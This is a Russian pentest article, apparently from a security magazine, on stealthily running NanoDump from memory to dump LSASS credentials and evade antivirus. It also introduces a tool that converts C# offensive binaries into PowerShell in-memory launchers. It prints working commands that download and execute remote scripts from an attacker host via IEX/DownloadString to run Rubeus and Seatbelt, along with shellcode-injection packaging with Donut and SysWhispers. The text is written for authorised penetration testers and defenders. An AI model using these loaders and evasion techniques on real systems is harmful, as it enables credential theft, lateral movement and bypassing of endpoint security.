Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
В этой статье подробно разберем скрытое применение утилиты NanoDump из памяти, когда моделируемый злоумышленник не обладает «маячком» C&C на атакуемом сетевом узле, и сравним такой способ использования NanoDump с применением SafetyKatz. Pentest Award
Этот текст получил премию Pentest Award 2024 в категории «Раз bypass, два bypass». Это соревнование ежегодно проводится компанией Awillix.
NanoDump уже успел обрести широкую популярность у вендоров AV/EDR, что поспособствовало написанию для него кучи детектов, поэтому теперь мы можем более свободно поделиться своим опытом его использования на «внутряках».
info
Эта заметка — продолжение темы, начатой в статье «Дампы LSASS для всех, даром, и пусть никто не уйдет обиженный», в которой я показывал, как можно «по‑молодежному» вытаскивать секреты из памяти процесса lsass.exe
для повышения привилегий в корпоративном домене Active Directory или дальнейших боковых перемещений в недра внутрянки заказчика пентеста.
warning
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Для начала немного поностальгируем по временам, когда деревья были зеленее, а антивирусные решения не были так жестоки по отношению к рядовым исполнителям проектов по тестированию на проникновение. В то время (около пяти лет до момента написания статьи) в составе коллекции GhostPack появился интересный инструмент SafetyKatz, в рамках разработки которого исследователь @harmj0y вдохнул новую жизнь в небезызвестный Mimikatz, уже на тот момент «палившийся» всем и вся при его использовании в чистом виде.
SafetyKatz декомпозирует процесс извлечения данных аутентификации из LSASS на два этапа: непосредственное создание дампа с помощью API-ручки dbghelp.dll!MiniDumpWriteDump
и парсинг полученного дампа посредством модифицированного (уменьшенного по своим возможностям) Mimikatz. Последний, в свою очередь, загружается в память по методу PE Reflection и выполняет захардкоженные команды sekurlsa::logonpasswords
и sekurlsa::ekeys
в отношении уже созданного ранее дампа памяти. По завершении работы утилиты привнесенные артефакты — минидамп, сохраненный по пути C:WindowsTempdebug.bin
, — удаляются с файловой системы жертвы.
Описание SafetyKatz (github.com)
Такой подход в свое время позволял уменьшить количество детектов использования sekurlsa::logonpasswords
«на живую», сокращал время на выдергивание хешей и ключей (немалый дамп памяти больше не нужно тащить к себе на тачку) и прятал сигнатуру Mimikatz от статического анализа. Примерно такой же подход долгое время применялся моей командой с тем лишь отличием, что я использовал новомодный NanoDump из памяти для создания слепка памяти и библиотеку на C# — для его парсинга на месте.
Дальше мы рассмотрим поподробнее, как создать свой «SafetyNDump» для фана и профита, но сперва ознакомимся со вспомогательным инструментарием.
info
Сразу оговорюсь, что далее не будут рассмотрены действующие на момент написания статьи техники обхода AV/EDR для дампа LSASS. Цель публикации — рассказать, как мы долгое время «абьюзили» одну из лазеек уклонения от «Касперского», и тем самым поделиться своим опытом с коллегами, играющими на стороне дефенса. На данный момент описываемый вектор атаки закрыт.
Мне очень нравится PowerShell и его возможности в контексте наступательной безопасности. В случае, когда в целевой инфраструктуре не зажжен AppLocker + Constrained Language Mode, простота применения этого инструмента Windows-автоматизации на обычных пентестах — просто подарок для моделируемого злоумышленника. На киберучениях с необходимостью скрытого исполнения команд его тоже можно приспособить под нужды исполнителя с помощью патчинга ETW, вызова ранспейса System.Management.Automation
напрямую (я смотрю на тебя, PowerShx!) и других триксов.
Мы будем целиться в исполнение накрафченного на C# кода через механизм System.Reflection.Assembly
, что поможет еще больше упростить жизнь этичному злоумышленнику при подключении к сетевым узлам через службу WinRM (Windows Remote Management) или, например, с помощью скриптов exec.py
из Impacket.
На просторах интернета есть куча материалов, как выполнять код на «шарпах» через PowerShell, но мне, как обычно, не хватало а‑в-т‑о-м‑а-т‑и-з‑а-ц‑и-и… Поэтому в свободное от работы время я написал простую питонячью утилиту bin2pwsh, которая позволяет конвертировать собранные на C# бинари в лаунчеры на PowerShell.
Я даже лого сделал, ага (с logoly.pro)
Кратко опишу ее возможности:
Рассмотрим примеры использования.
Это простая упаковка Rubeus в PowerShell-лаунчер на основе стандартного шаблона System.Reflection.Assembly
.
curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exe bin2pwsh.py Rubeus.exe
Генерация загрузчика Rubeus на PowerShellIEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Rubeus.ps1")Invoke-Rubeus hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!
Загрузка и запуск Rubeus из памяти
Теперь посмотрим на продвинутую упаковку Rubeus в PowerShell-лаунчер на основе шаблона System.Reflection.Emit
и его исполнение через запуск селф‑инжектора шелл‑кода, полученного с помощью форка Donut за авторством KlezVirus с динамическим перехешированием непрямых системных вызовов (подробнее о технике рассказывает ролик на YouTube). Чаще всего этот способ используется с нативным кодом, однако паковать таким образом управляемый код также никто не запрещает.
curl -sSL https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.0_Any/Rubeus.exe -o Rubeus.exepy .bin2pwsh.py 'Rubeus.exe hash /domain:nightcity.net /user:snovvcrash /password:Passw0rd!' -d -wh C:ToolsSysWhispers3syswhispers.py -whm jumper_randomized --emit --debug --silent
Генерация загрузчика Rubeus на PowerShellIEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-RubeusInject.ps1")Invoke-RubeusInject
Загрузка и запуск Rubeus из памяти
Ну и на сладкое — пример создания аналога репозитория PowerSharpPack (от @ShitSecure) из SharpCollection (от @Flangvik) за считаные секунды.
git clone https://github.com/Flangvik/SharpCollection cd SharpCollection/NetFramework_4.0_Any for exe in ./*.exe; do bin2pwsh.py $exe --silent; done
Делаем лаунчеры на PowerShell из SharpCollectionIEX(New-Object Net.WebClient).DownloadString("http://10.10.13.37/Invoke-Seatbelt.ps1")Invoke-Seatbelt -group=system
Загрузка и запуск Seatbelt из памяти
Со вспомогательным инструментарием разобрались, вернемся к нашей проблеме. Чтобы оставаться организованными и во имя концепции «разделяй и властвуй», не будем отходить от нарратива декомпозиции SafetyKatz и поочередно рассмотрим создание дампа и его парсинг.
Итак, первое, с чем нужно разобраться, — это создание дампа памяти lsass.exe
. Способ должен прокатить с действующим средством защиты.
Источник: xakep.ru